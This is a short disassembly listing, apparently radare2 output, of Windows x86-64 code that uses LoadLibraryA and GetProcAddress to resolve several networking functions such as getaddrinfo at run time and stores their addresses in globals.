lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14016b247
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14016b1da
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x14016b247
mov qword [rsp + 0x298], rdi
lea rbx, [rsp + 0x28]
xor edi, edi
nop dword [rax]
mov rdx, qword [rbx - 8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
test rax, rax
je 0x14016b236
inc edi
add rbx, 0x10
cmp edi, 3
jl 0x14016b1f0
mov rax, qword [rsp + 0x28]
mov qword [0x1403fc938], rax
mov rax, qword [rsp + 0x38]
mov qword [0x1403fc948], rax
mov rax, qword [rsp + 0x48]
mov qword [0x1403fc958], rax
jmp 0x14016b23f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rdi, qword [rsp + 0x298]
mov rsi, qword [rsp + 0x290]
mov dword [0x140401f80], 1
mov rax, rbp
lea rcx, str.getaddrinfo
add rax, rax
mov rax, qword [rcx + rax*8 + 8]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1402adb70
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x280
pop rbp
ret